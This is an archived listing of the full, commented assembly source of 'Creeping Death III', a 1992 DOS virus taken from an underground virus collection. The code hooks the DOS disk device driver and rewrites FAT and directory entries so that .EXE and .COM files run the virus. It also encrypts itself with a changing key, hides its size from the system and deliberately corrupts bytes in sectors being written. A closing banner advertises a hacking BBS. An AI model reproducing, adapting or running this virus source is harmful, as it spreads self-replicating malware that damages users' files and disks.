home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / c / cdset6.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  22.0 KB  |  632 lines

  1. ;*****************************************************************************;
  2.  
  3. ;                                                                             ;
  4.  
  5. ; Creeping Death III (Encrypting, try to find it)                             ;
  6.  
  7. ;                                                                             ;
  8.  
  9. ; (c) Copyright 1992 by Bit Addict                                            ;
  10.  
  11. ;                                                                             ;
  12.  
  13. ;*****************************************************************************;
  14.  
  15.  
  16.  
  17. code segment public 'code'
  18.  
  19.         assume    cs:code, ds:code, es:code, ss:code
  20.  
  21.  
  22.  
  23. ;*****************************************************************************;
  24.  
  25. ;                                                                             ;
  26.  
  27. ; Data                                                                        ;
  28.  
  29. ;                                                                             ;
  30.  
  31. ;*****************************************************************************;
  32.  
  33.  
  34.  
  35.         org    5ch            ; use the space reserved for
  36.  
  37.                         ; the fcbs and command line
  38.  
  39.                         ; for more inportant data,
  40.  
  41.                         ; because we won't need this
  42.  
  43.                         ; data when the virus is
  44.  
  45.                         ; installed
  46.  
  47.  
  48.  
  49. EncryptWrite2:    db    36 dup(?)        ; Encrypt DoRequest Encrypt
  50.  
  51.  
  52.  
  53. BPB_Buf        db    32 dup(?)        ; buffer for BPB
  54.  
  55.  
  56.  
  57. Request        equ    this dword        ; address of the request header
  58.  
  59. RequestOffset    dw    ?
  60.  
  61. RequestSegment    dw    ?
  62.  
  63.  
  64.  
  65.  
  66.  
  67.             org    100h            ; com-file starts at offset 100
  68.  
  69.                         ; hex
  70.  
  71.  
  72.  
  73. ;*****************************************************************************;
  74.  
  75. ;                                                                             ;
  76.  
  77. ; Actual start of virus. In this part the virus initializes the stack and     ;
  78.  
  79. ; adjusts the device driver used by dos to read and write from floppy's and   ;
  80.  
  81. ; hard disks. Then it will start the orginal exe or com-file                  ;
  82.  
  83. ;                                                                             ;
  84.  
  85. ;*****************************************************************************;
  86.  
  87.  
  88.  
  89. Encrypt:    mov    si,offset Main-1    ; this part of the program
  90.  
  91.         mov    cx,400h-11        ; will decode the encoded
  92.  
  93. Repeat:        xor    byte ptr [si],0        ; program, so it can be 
  94.  
  95.         inc    si            ; executed
  96.  
  97.         loop    Repeat
  98.  
  99.  
  100.  
  101. Main:        mov    sp,600h            ; init stack
  102.  
  103.         inc    word ptr Counter
  104.  
  105.  
  106.  
  107. ;*****************************************************************************;
  108.  
  109. ;                                                                             ;
  110.  
  111. ; Get dosversion, if the virus is running with dos 4+ then si will be 0 else  ;
  112.  
  113. ; si will be -1                                                               ;
  114.  
  115. ;                                                                             ;
  116.  
  117. ;*****************************************************************************;
  118.  
  119.  
  120.  
  121. DosVersion:    mov    ah,30h            ; fn 30h = Get Dosversion
  122.  
  123.         int    21h            ; int 21h
  124.  
  125.         cmp    al,4            ; major dosversion 
  126.  
  127.         sbb    di,di
  128.  
  129.         mov    byte ptr drive[2],-1    ; set 2nd operand of cmp ah,??
  130.  
  131.  
  132.  
  133. ;*****************************************************************************;
  134.  
  135. ;                                                                             ;
  136.  
  137. ; Adjust the size of the codesegment, with dos function 4ah                   ;
  138.  
  139. ;                                                                             ;
  140.  
  141. ;*****************************************************************************;
  142.  
  143.  
  144.  
  145.         mov    bx,60h            ; Adjust size of memory block
  146.  
  147.         mov    ah,4ah            ; to 60 paragraphs = 600h bytes
  148.  
  149.         int    21h            ; int 21h
  150.  
  151.  
  152.  
  153.         mov    ah,52h            ; get internal list of lists
  154.  
  155.         int    21h            ; int 21h
  156.  
  157.  
  158.  
  159. ;*****************************************************************************;
  160.  
  161. ;                                                                             ;
  162.  
  163. ; If the virus code segment is located behind the dos config memory block the ;
  164.  
  165. ; code segment will be part of the config memory block making it 61h          ;
  166.  
  167. ; paragraphs larger. If the virus is not located next to the config memory    ;
  168.  
  169. ; block the virus will set the owner to 8h (Dos system)                       ;
  170.  
  171. ;                                                                             ;
  172.  
  173. ;*****************************************************************************;
  174.  
  175.  
  176.  
  177.         mov    ax,es:[bx-2]        ; segment of first MCB
  178.  
  179.         mov    dx,cs            ; dx = MCB of the code segment
  180.  
  181.         dec    dx
  182.  
  183. NextMCB:    mov    ds,ax            ; ax = segment next MCB
  184.  
  185.         add    ax,ds:[3]
  186.  
  187.         inc    ax
  188.  
  189.         cmp    ax,dx            ; are they equal ?
  190.  
  191.         jne    NextMCB            ; no, not 1st program executed
  192.  
  193.         cmp    word ptr ds:[1],8
  194.  
  195.         jne    NoBoot
  196.  
  197.         add    word ptr ds:[3],61h    ; add 61h to size of block
  198.  
  199. NoBoot:        mov    ds,dx            ; ds = segment of MCB
  200.  
  201.         mov    word ptr ds:[1],8    ; owner = dos system
  202.  
  203.  
  204.  
  205. ;*****************************************************************************;
  206.  
  207. ;                                                                             ;
  208.  
  209. ; The virus will search for the disk paramenter block for drive a: - c: in    ;
  210.  
  211. ; order to find the device driver for these block devices. If any of these    ;
  212.  
  213. ; blocks is found the virus will install its own device driver and set the    ;
  214.  
  215. ; access flag to -1 to tell dos this device hasn't been accesed yet.          ;
  216.  
  217. ;                                                                             ;
  218.  
  219. ;*****************************************************************************;
  220.  
  221.  
  222.  
  223.         cld                ; clear direction flag
  224.  
  225.         lds    bx,es:[bx]        ; get pointer to first drive
  226.  
  227.                         ; paramenter block
  228.  
  229.  
  230.  
  231. Search:        cmp    bx,-1            ; last block ?
  232.  
  233.         je    Last
  234.  
  235.         mov    ax,ds:[bx+di+15h]    ; get segment of device header
  236.  
  237.         cmp    ax,70h            ; dos device header ??
  238.  
  239.         jne    Next            ; no, go to next device
  240.  
  241.         xchg    ax,cx
  242.  
  243.         mov    byte ptr ds:[bx+di+18h],-1 ; set access flag to "drive 
  244.  
  245.                         ; has not been accessed"
  246.  
  247.         mov    si,offset Header-4    ; set address of new device
  248.  
  249.         xchg    si,ds:[bx+di+13h]    ; and save old address
  250.  
  251.         mov    ds:[bx+di+15h],cs
  252.  
  253. Next:        lds    bx,ds:[bx+di+19h]    ; next drive parameter block
  254.  
  255.         jmp    Search
  256.  
  257.  
  258.  
  259. ;*****************************************************************************;
  260.  
  261. ;                                                                             ;
  262.  
  263. ; If the virus has failed in starting the orginal exe-file it will jump here. ;
  264.  
  265. ;                                                                             ;
  266.  
  267. ;*****************************************************************************;
  268.  
  269.  
  270.  
  271. Boot:        mov    ds,ds:[16h]        ; es = parent PSP
  272.  
  273.         mov    bx,ds:[16h]        ; bx = parent PSP of Parent PSP
  274.  
  275.         xor    si,si
  276.  
  277.         sub    bx,1            ; filename+path available ?
  278.  
  279.         jnb    Exec            ; yes, execute it
  280.  
  281.         mov    ax,cs            ; get segment of MCB
  282.  
  283.         dec    ax
  284.  
  285.         mov    ds,ax
  286.  
  287.         mov    cl,8            ; count length of filename
  288.  
  289.         mov    si,8
  290.  
  291.         mov    di,0ffh
  292.  
  293. Count:        lodsb
  294.  
  295.         or    al,al
  296.  
  297.         loopne    Count
  298.  
  299.         not    cl
  300.  
  301.         and    cl,7
  302.  
  303. NextByte:    mov    si,8            ; search for this name in the
  304.  
  305.         inc    di            ; parent PSP to find the path
  306.  
  307.         push    di            ; to this file
  308.  
  309.         push    cx
  310.  
  311.         rep    cmpsb
  312.  
  313.         pop    cx
  314.  
  315.         pop    di
  316.  
  317.         jne    NextByte
  318.  
  319. BeginName:    dec    di            ; name found, search for start
  320.  
  321.         cmp    byte ptr es:[di-1],0    ; of name+path
  322.  
  323.         jne    BeginName
  324.  
  325.         mov    si,di
  326.  
  327.         mov    bx,es
  328.  
  329.         jmp    short Exec        ; execute it
  330.  
  331.  
  332.  
  333. ;*****************************************************************************;
  334.  
  335. ;                                                                             ;
  336.  
  337. ; If none of these devices is found it means the virus is already resident    ;
  338.  
  339. ; and the virus wasn't able to start the orginal exe-file (the file is        ;
  340.  
  341. ; corrupted by copying it without the virus memory resident). If the device   ;
  342.  
  343. ; is found the information in the header is copied.                           ;
  344.  
  345. ;                                                                             ;
  346.  
  347. ;*****************************************************************************;
  348.  
  349.  
  350.  
  351. Last:        jcxz    Exit
  352.  
  353.  
  354.  
  355. ;*****************************************************************************;
  356.  
  357. ;                                                                             ;
  358.  
  359. ; The information about the dos device driver is copyed to the virus code     ;
  360.  
  361. ; segment                                                                     ;
  362.  
  363. ;                                                                             ;
  364.  
  365. ;*****************************************************************************;
  366.  
  367.  
  368.  
  369.         mov    ds,cx            ; ds = segment of Device Driver
  370.  
  371.         add    si,4
  372.  
  373.         push    cs
  374.  
  375.         pop    es
  376.  
  377.         mov    di,offset Header    ; prepare header of the viral
  378.  
  379.         movsw                ; device driver and save the
  380.  
  381.         lodsw                ; address of the dos strategy
  382.  
  383.         mov    es:StrBlock,ax        ; and interrupt procedures
  384.  
  385.         mov    ax,offset Strategy
  386.  
  387.         stosw
  388.  
  389.         lodsw
  390.  
  391.         mov    es:IntBlock,ax
  392.  
  393.         mov    ax,offset Interrupt
  394.  
  395.         stosw
  396.  
  397.         movsb
  398.  
  399.  
  400.  
  401. ;*****************************************************************************;
  402.  
  403. ;                                                                             ;
  404.  
  405. ; Deallocate the environment memory block and start the this file again, but  ;
  406.  
  407. ; if the virus succeeds it will start the orginal exe-file.                   ;
  408.  
  409. ;                                                                             ;
  410.  
  411. ;*****************************************************************************;
  412.  
  413.  
  414.  
  415.         push    cs
  416.  
  417.         pop    ds
  418.  
  419.         mov    bx,ds:[2ch]        ; environment segment
  420.  
  421.         or    bx,bx            ; environment available ?
  422.  
  423.         jz    Boot            ; no, computer is rebooted
  424.  
  425.         mov    es,bx
  426.  
  427.         mov    ah,49h            ; deallocate memory
  428.  
  429.         int    21h
  430.  
  431.         xor    ax,ax            ; end of environment is marked
  432.  
  433.         mov    di,1            ; with two zero bytes
  434.  
  435. Seek:        dec    di            ; scan for end of environment
  436.  
  437.         scasw
  438.  
  439.         jne    Seek
  440.  
  441.         lea    si,ds:[di+2]        ; es:si = start of filename
  442.  
  443. Exec:        push    bx
  444.  
  445.         push    cs
  446.  
  447.         pop    ds
  448.  
  449.         mov    bx,offset Param
  450.  
  451.         mov    ds:[bx+4],cs        ; set segments in EPB
  452.  
  453.         mov    ds:[bx+8],cs
  454.  
  455.         mov    ds:[bx+12],cs
  456.  
  457.         pop    ds
  458.  
  459.         push    cs
  460.  
  461.         pop    es
  462.  
  463.  
  464.  
  465.         mov    di,offset Filename    ; copy name of this file
  466.  
  467.         push    di
  468.  
  469.         mov    cx,40
  470.  
  471.         rep    movsw
  472.  
  473.         push    cs
  474.  
  475.         pop    ds
  476.  
  477.  
  478.  
  479.         mov    ah,3dh            ; open file, this file will
  480.  
  481.         mov    dx,offset File        ; not be found but the entire
  482.  
  483.         int    21h            ; directory is searched and
  484.  
  485.         pop    dx            ; infected
  486.  
  487.  
  488.  
  489.         mov    ax,4b00h        ; execute file
  490.  
  491.         int    21h
  492.  
  493. Exit:        mov    ah,4dh            ; get exit-code
  494.  
  495.         int    21h
  496.  
  497.         mov    ah,4ch            ; terminate (al = exit code)
  498.  
  499.         int    21h
  500.  
  501.  
  502.  
  503. ;*****************************************************************************;
  504.  
  505. ;                                                                             ;
  506.  
  507. ; Installation complete                                                       ;
  508.  
  509. ;                                                                             ;
  510.  
  511. ;*****************************************************************************;
  512.  
  513. ;                                                                             ;
  514.  
  515. ; The next part contains the device driver used by creeping death to infect   ;
  516.  
  517. ; directory's                                                                 ;
  518.  
  519. ;                                                                             ;
  520.  
  521. ; The device driver uses only the strategy routine to handle the requests.    ;
  522.  
  523. ; I don't know if this is because the virus will work better or the writer    ;
  524.  
  525. ; of this virus didn't know how to do it right.                               ;
  526.  
  527. ;                                                                             ;
  528.  
  529. ;*****************************************************************************;
  530.  
  531.  
  532.  
  533.  
  534.  
  535. Strategy:    mov    cs:RequestOffset,bx    ; store segment and offset of
  536.  
  537.         mov    cs:RequestSegment,es    ; request block
  538.  
  539.         retf                ; return to dos (or whatever
  540.  
  541.                         ; called this device driver)
  542.  
  543.  
  544.  
  545. Interrupt:    push    ax            ; driver strategy block
  546.  
  547.         push    bx            ; save registers
  548.  
  549.         push    cx
  550.  
  551.         push    dx
  552.  
  553.         push    si
  554.  
  555.         push    di
  556.  
  557.         push    ds
  558.  
  559.         push    es
  560.  
  561.  
  562.  
  563.         les    bx,cs:Request        ; es:bx = request block
  564.  
  565.         push    es            ; ds:bx = request block
  566.  
  567.         pop    ds
  568.  
  569.         mov    al,ds:[bx+2]        ; command code
  570.  
  571.  
  572.  
  573.         cmp    al,4            ; read sector from disk
  574.  
  575.         je    Input
  576.  
  577.         cmp    al,8            ; write sector to disk
  578.  
  579.         je    Output
  580.  
  581.         cmp    al,9
  582.  
  583.         je    Output
  584.  
  585.  
  586.  
  587.         call    DoRequest        ; let dos do handle the request
  588.  
  589.  
  590.  
  591.         cmp    al,2            ; Build BPB
  592.  
  593.         jne    Return
  594.  
  595.         lds    si,ds:[bx+12h]        ; copy the BPB and change it
  596.  
  597.         mov    di,offset bpb_buf    ; into one that hides the virus
  598.  
  599.         mov    es:[bx+12h],di
  600.  
  601.         mov    es:[bx+14h],cs
  602.  
  603.         push    es            ; copy
  604.  
  605.         push    cs
  606.  
  607.         pop    es
  608.  
  609.         mov    cx,16
  610.  
  611.         rep    movsw
  612.  
  613.         pop    es
  614.  
  615.         push    cs
  616.  
  617.         pop    ds
  618.  
  619.         mov    al,ds:[di+2-32]        ; change
  620.  
  621.         cmp    al,2
  622.  
  623.         adc    al,0
  624.  
  625.         cbw
  626.  
  627.         cmp    word ptr ds:[di+8-32],0    ; >32mb partition ?
  628.  
  629.         je    m32            ; yes, jump to m32
  630.  
  631.         sub    ds:[di+8-32],ax        ; <32mb partition
  632.  
  633.         jmp    short Return
  634.  
  635. m32:        sub    ds:[di+15h-32],ax    ; >32mb partition
  636.  
  637.         sbb    word ptr ds:[di+17h-32],0
  638.  
  639. Return:        pop    es            ; return to caller
  640.  
  641.         pop    ds
  642.  
  643.         pop    di
  644.  
  645.         pop    si
  646.  
  647.         pop    dx
  648.  
  649.         pop    cx
  650.  
  651.         pop    bx
  652.  
  653.         pop    ax
  654.  
  655.         retf
  656.  
  657.  
  658.  
  659. Output:        inc    byte ptr cs:Random    ; increase counter
  660.  
  661.         jnz    Skip            ; zero ?
  662.  
  663.         push    bx            ; yes, change one byte in the
  664.  
  665.         push    ds            ; sector to write
  666.  
  667.         lds    bx,ds:[bx+16h]
  668.  
  669.         inc    bh
  670.  
  671.         inc    byte ptr ds:[bx]    ; destroy some data
  672.  
  673.         pop    ds
  674.  
  675.         pop    bx
  676.  
  677. Skip:        mov    cx,0ff09h
  678.  
  679.         call    Check            ; check if disk changed
  680.  
  681.         jz    Disk            ; yes, write virus to disk
  682.  
  683.         jmp    InfectSector        ; no, just infect sector
  684.  
  685. Disk:        call    DoRequest
  686.  
  687.         jmp    short InfectDisk
  688.  
  689.  
  690.  
  691. ReadError:    add    sp,16            ; error during request
  692.  
  693.         jmp    short Return
  694.  
  695.  
  696.  
  697. Input:        call    check            ; check if disk changed
  698.  
  699.         jnz    InfectDisk        ; no, read sector
  700.  
  701.         jmp    Read
  702.  
  703. InfectDisk:    mov    byte ptr ds:[bx+2],4    ; yes, write virus to disk
  704.  
  705.         cld                ; save last part of request
  706.  
  707.         lea    si,ds:[bx+0eh]
  708.  
  709.         mov    cx,8
  710.  
  711. Save:        lodsw
  712.  
  713.         push    ax
  714.  
  715.         loop    Save
  716.  
  717.         mov    word ptr ds:[bx+14h],1    ; read 1st sector on disk
  718.  
  719.         call    ReadSector
  720.  
  721.         jnz    ReadError
  722.  
  723.         mov    byte ptr ds:[bx+2],2    ; build BPB
  724.  
  725.         call    DoRequest
  726.  
  727.         lds    si,ds:[bx+12h]        ; ds:si = BPB
  728.  
  729.         mov    di,ds:[si+6]        ; size of root directory
  730.  
  731.         add    di,15            ; in sectors
  732.  
  733.         mov    cl,4
  734.  
  735.         shr    di,cl
  736.  
  737.         mov    al,ds:[si+5]
  738.  
  739.         cbw
  740.  
  741.         mov    dx,ds:[si+0bh]
  742.  
  743.         mul    dx            ; ax=fat sectors, dx=0
  744.  
  745.         add    ax,ds:[si+3]
  746.  
  747.         add    di,ax
  748.  
  749.         push    di            ; save it on stack
  750.  
  751.         mov    ax,ds:[si+8]        ; total number of sectors
  752.  
  753.         cmp    ax,dx            ; >32mb
  754.  
  755.         jnz    More            ; no, skip next 2 instructions
  756.  
  757.         mov    ax,ds:[si+15h]        ; get number of sectors
  758.  
  759.         mov    dx,ds:[si+17h]
  760.  
  761. More:        xor    cx,cx            ; cx=0
  762.  
  763.         sub    ax,di            ; dx:ax=number is data sectors
  764.  
  765.         sbb    dx,cx
  766.  
  767.         mov    cl,ds:[si+2]        ; cx=sectors / cluster
  768.  
  769.         div    cx            ; number of clusters on disk
  770.  
  771.         cmp    cl,2            ; 1 sector/cluster ?
  772.  
  773.         sbb    ax,-1            ; number of clusters (+1 or +2)
  774.  
  775.         push    ax            ; save it on stack
  776.  
  777.         call    Convert            ; get fat sector and offset in
  778.  
  779.         mov    byte ptr es:[bx+2],4    ; sector
  780.  
  781.         mov    es:[bx+14h],ax
  782.  
  783.         call    ReadSector        ; read fat sector
  784.  
  785.         lds    si,es:[bx+0eh]
  786.  
  787.         add    si,dx
  788.  
  789.         sub    dh,cl            ; has something to do with the
  790.  
  791.         adc    dx,ax            ; encryption of the pointers
  792.  
  793.         mov    word ptr cs:[gad+1],dx
  794.  
  795.         cmp    cl,1            ; 1 sector / cluster
  796.  
  797.         jne    Ok
  798.  
  799.         not    di            ; this is used when the
  800.  
  801.         and    ds:[si],di        ; clusters are 1 sector long
  802.  
  803.         pop    ax            ; allocate 1st cluster
  804.  
  805.         push    ax
  806.  
  807.         inc    ax
  808.  
  809.         push    ax
  810.  
  811.         mov    dx,0fh
  812.  
  813.         test    di,dx
  814.  
  815.         jz    Here
  816.  
  817.         inc    dx
  818.  
  819.         mul    dx
  820.  
  821. Here:        or    ds:[si],ax
  822.  
  823.         pop    ax
  824.  
  825.         call    Convert
  826.  
  827.         mov    si,es:[bx+0eh]
  828.  
  829.         add    si,dx
  830.  
  831. Ok:        mov    ax,ds:[si]        ; allocate last cluster
  832.  
  833.         and    ax,di
  834.  
  835.         mov    dx,di
  836.  
  837.         dec    dx
  838.  
  839.         and    dx,di
  840.  
  841.         not    di
  842.  
  843.         and    ds:[si],di
  844.  
  845.         or    ds:[si],dx
  846.  
  847.         cmp    ax,dx            ; cluster already allocated by
  848.  
  849.         pop    ax            ; the virus ?
  850.  
  851.         pop    di
  852.  
  853.         mov    word ptr cs:[pointer+1],ax
  854.  
  855.         je    DiskInfected        ; yes, don't write it and go on
  856.  
  857.         mov    dx,ds:[si]
  858.  
  859.         mov    byte ptr es:[bx+2],8    ; write the adjusted sector to
  860.  
  861.         call    DoRequest        ; disk
  862.  
  863.         jnz    DiskInfected
  864.  
  865.         mov    byte ptr es:[bx+2],4    ; read it again
  866.  
  867.         call    ReadSector
  868.  
  869.         cmp    ds:[si],dx        ; is it written correctly ?
  870.  
  871.         jne    DiskInfected        ; no, can't infect disk
  872.  
  873.         dec    ax
  874.  
  875.         dec    ax            ; calculate the sector number
  876.  
  877.         mul    cx            ; to write the virus to
  878.  
  879.         add    ax,di
  880.  
  881.         adc    dx,0
  882.  
  883.         push    es
  884.  
  885.         pop    ds
  886.  
  887.         mov    word ptr ds:[bx+12h],2
  888.  
  889.         mov    ds:[bx+14h],ax        ; store it in the request hdr
  890.  
  891.         test    dx,dx
  892.  
  893.         jz    Less
  894.  
  895.         mov    word ptr ds:[bx+14h],-1
  896.  
  897.         mov    ds:[bx+1ah],ax
  898.  
  899.         mov    ds:[bx+1ch],dx
  900.  
  901. Less:        mov    ds:[bx+10h],cs
  902.  
  903.         mov    ds:[bx+0eh],100h
  904.  
  905.         mov    byte ptr es:[bx+2],8    ; write it
  906.  
  907.         call    EncryptWrite1
  908.  
  909.  
  910.  
  911. DiskInfected:    mov    byte ptr ds:[bx+2],4    ; restore this byte
  912.  
  913.         std                ; restore other part of the
  914.  
  915.         lea    di,ds:[bx+1ch]        ; request
  916.  
  917.         mov    cx,8
  918.  
  919. Load:        pop    ax
  920.  
  921.         stosw
  922.  
  923.         loop    Load
  924.  
  925. Read:        call    DoRequest        ; do request
  926.  
  927.  
  928.  
  929.         mov    cx,9
  930.  
  931. InfectSector:    mov    di,es:[bx+12h]        ; get number of sectors read
  932.  
  933.         lds    si,es:[bx+0eh]        ; get address of data
  934.  
  935.         sal    di,cl            ; calculate end of buffer
  936.  
  937.         xor    cl,cl
  938.  
  939.         add    di,si
  940.  
  941.         xor    dl,dl
  942.  
  943.         push    ds            ; infect the sector
  944.  
  945.         push    si
  946.  
  947.         call    find
  948.  
  949.         jcxz    no_inf            ; write sector ?
  950.  
  951.         mov    al,8
  952.  
  953.         xchg    al,es:[bx+2]        ; save command byte
  954.  
  955.         call    DoRequest        ; write sector
  956.  
  957.         mov    es:[bx+2],al        ; restore command byte
  958.  
  959.         and    byte ptr es:[bx+4],07fh
  960.  
  961. no_inf:        pop    si
  962.  
  963.         pop    ds
  964.  
  965.         inc    dx            ; disinfect sector in memory
  966.  
  967.         call    find
  968.  
  969.         jmp    Return            ; return to caller
  970.  
  971.  
  972.  
  973. ;*****************************************************************************;
  974.  
  975. ;                                                                             ;
  976.  
  977. ; Subroutines                                                                 ;
  978.  
  979. ;                                                                             ;
  980.  
  981. ;*****************************************************************************;
  982.  
  983.  
  984.  
  985. Find:        mov    ax,ds:[si+8]        ; (dis)infect sector in memory
  986.  
  987.         cmp    ax,"XE"            ; check for .exe
  988.  
  989.         jne    com
  990.  
  991.         cmp    ds:[si+10],al
  992.  
  993.         je    found
  994.  
  995. Com:        cmp    ax,"OC"            ; check for .com
  996.  
  997.         jne    go_on
  998.  
  999.         cmp    byte ptr ds:[si+10],"M"
  1000.  
  1001.         jne    go_on
  1002.  
  1003. Found:        test    word ptr ds:[si+1eh],0ffc0h ; file to big
  1004.  
  1005.         jnz    go_on                ; more than 4mb
  1006.  
  1007.         test    word ptr ds:[si+1dh],03ff8h ; file to small
  1008.  
  1009.         jz    go_on                ; less than  2048 bytes
  1010.  
  1011.         test    byte ptr ds:[si+0bh],1ch    ; directory, system or
  1012.  
  1013.         jnz    go_on                ; volume label
  1014.  
  1015.         test    dl,dl            ; infect or disinfect ?
  1016.  
  1017.         jnz    rest
  1018.  
  1019. Pointer:    mov    ax,1234h        ; ax = viral cluster
  1020.  
  1021.         cmp    ax,ds:[si+1ah]        ; file already infected ?
  1022.  
  1023.         je    go_on            ; yes, go on
  1024.  
  1025.         xchg    ax,ds:[si+1ah]        ; exchange pointers
  1026.  
  1027. Gad:        xor    ax,1234h        ; encryption
  1028.  
  1029.         mov    ds:[si+14h],ax        ; store it on another place
  1030.  
  1031.         loop    go_on            ; change cx and go on
  1032.  
  1033. Rest:        xor    ax,ax            ; ax = 0
  1034.  
  1035.         xchg    ax,ds:[si+14h]        ; get pointer
  1036.  
  1037.         xor    ax,word ptr cs:[gad+1]    ; Encrypt
  1038.  
  1039.         mov    ds:[si+1ah],ax        ; store it on the right place
  1040.  
  1041. Go_on:        rol    word ptr cs:[gad+1],1    ; change encryption
  1042.  
  1043.         add    si,32            ; next directory entry
  1044.  
  1045.         cmp    di,si            ; end of buffer ?
  1046.  
  1047.         jne    find            ; no, do it again
  1048.  
  1049.         ret                ; return
  1050.  
  1051.  
  1052.  
  1053. Check:        mov    ah,ds:[bx+1]            ; get number of unit
  1054.  
  1055. Drive:        cmp    ah,-1                ; same as last call ?
  1056.  
  1057.         mov    byte ptr cs:[drive+2],ah    ; set 2nd parameter
  1058.  
  1059.         jne    Changed
  1060.  
  1061.         push    ds:[bx+0eh]            ; save word
  1062.  
  1063.         mov    byte ptr ds:[bx+2],1        ; disk changed ?
  1064.  
  1065.         call    DoRequest
  1066.  
  1067.         cmp    byte ptr ds:[bx+0eh],1        ; 1=Yes
  1068.  
  1069.         pop    ds:[bx+0eh]            ; restore word
  1070.  
  1071.         mov    ds:[bx+2],al            ; restore command
  1072.  
  1073. Changed:    ret                    ; return
  1074.  
  1075.  
  1076.  
  1077. ReadSector:    mov    word ptr es:[bx+12h],1        ; read sector from disk
  1078.  
  1079.  
  1080.  
  1081. DoRequest:    db    09ah            ; call 70:?, orginal strategy
  1082.  
  1083. StrBlock    dw    ?,70h
  1084.  
  1085.         db    09ah            ; call 70:?, orginal interrupt
  1086.  
  1087. IntBlock    dw    ?,70h
  1088.  
  1089.         test    byte ptr es:[bx+4],80h    ; error ? yes, zf = 0
  1090.  
  1091.         ret                ; return
  1092.  
  1093.  
  1094.  
  1095. Convert:    cmp    ax,0ff0h        ; convert cluster number into
  1096.  
  1097.         jae    Fat16            ; an sector number and offset
  1098.  
  1099.         mov    si,3            ; into this sector containing
  1100.  
  1101.         xor    word ptr cs:[si+gad-1],si    ; the fat-item of this
  1102.  
  1103.         mul    si                ; cluster
  1104.  
  1105.         shr    ax,1
  1106.  
  1107.         mov    di,0fffh
  1108.  
  1109.         jnc    Continue
  1110.  
  1111.         mov    di,0fff0h
  1112.  
  1113.         jmp    short Continue
  1114.  
  1115. Fat16:        mov    si,2
  1116.  
  1117.         mul    si
  1118.  
  1119.         mov    di,0ffffh
  1120.  
  1121. Continue:    mov    si,512
  1122.  
  1123.         div    si
  1124.  
  1125.         inc    ax
  1126.  
  1127.         ret
  1128.  
  1129.  
  1130.  
  1131. EncryptWrite1:    push    ds                ; write virus to disk
  1132.  
  1133.         push    cs                ; (encrypted) save regs
  1134.  
  1135.         pop    ds
  1136.  
  1137.         push    es
  1138.  
  1139.         push    cs
  1140.  
  1141.         pop    es
  1142.  
  1143.         cld                    ; copy forward
  1144.  
  1145.         mov    cx,12                ; length of encryptor
  1146.  
  1147.         mov    si,offset Encrypt        ; start of encryptor
  1148.  
  1149.         mov    di,offset EncryptWrite2        ; destenation
  1150.  
  1151.         inc    byte ptr ds:[si+8]        ; change xor value
  1152.  
  1153.         rep    movsb                ; copy encryptor
  1154.  
  1155.         mov    cl,10                ; copy dorequest proc
  1156.  
  1157.         mov    si,offset DoRequest
  1158.  
  1159.         rep    movsb
  1160.  
  1161.         mov    cl,12                ; copy encryptor
  1162.  
  1163.         mov    si,offset Encrypt
  1164.  
  1165.         rep    movsb
  1166.  
  1167.         mov    ax,0c31fh            ; store "pop ds","ret"
  1168.  
  1169.         stosw                    ; instructions
  1170.  
  1171.         pop    es                ; restore register
  1172.  
  1173.         jmp    EncryptWrite2            ; encrypt and write vir
  1174.  
  1175.  
  1176.  
  1177. ;*****************************************************************************;
  1178.  
  1179. ;                                                                             ;
  1180.  
  1181. ; Data                                                                        ;
  1182.  
  1183. ;                                                                             ;
  1184.  
  1185. ;*****************************************************************************;
  1186.  
  1187.  
  1188.  
  1189. File        db    "C:",255,0        ; the virus tries to open this
  1190.  
  1191.                         ; file
  1192.  
  1193.  
  1194.  
  1195. Counter        dw    0            ; this will count the number of
  1196.  
  1197.                         ; systems that are infected by
  1198.  
  1199.                         ; this virus
  1200.  
  1201.  
  1202.  
  1203. Param        dw    0,80h,?,5ch,?,6ch,?    ; parameters for the
  1204.  
  1205.                         ; exec-function
  1206.  
  1207.  
  1208.  
  1209. Random        db    ?            ; if this byte becomes zero
  1210.  
  1211.                         ; the virus will change the
  1212.  
  1213.                         ; sector that will be written
  1214.  
  1215.                         ; to disk
  1216.  
  1217.  
  1218.  
  1219. Header        db    7 dup(?)        ; this is the header for the
  1220.  
  1221.                         ; device driver
  1222.  
  1223.  
  1224.  
  1225. Filename    db    ?            ; Buffer for the filename used
  1226.  
  1227.                         ; by the exec-function
  1228.  
  1229.  
  1230.  
  1231.  
  1232.  
  1233. ;*****************************************************************************;
  1234.  
  1235. ;                                                                             ;
  1236.  
  1237. ; The End                                                                     ;
  1238.  
  1239. ;                                                                             ;
  1240.  
  1241. ;*****************************************************************************;
  1242.  
  1243.  
  1244.  
  1245. code ends                    ; end of the viral code
  1246.  
  1247.  
  1248.  
  1249. end Encrypt                    ; start at offset 100h for
  1250.  
  1251.                         ; com-file
  1252.  
  1253. 
  1254.  
  1255. ;  ─────────────────────────────────────────────────────────────────────────
  1256.  
  1257. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  1258.  
  1259. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  1260.  
  1261. ;  ─────────────────────────────────────────────────────────────────────────
  1262.  
  1263.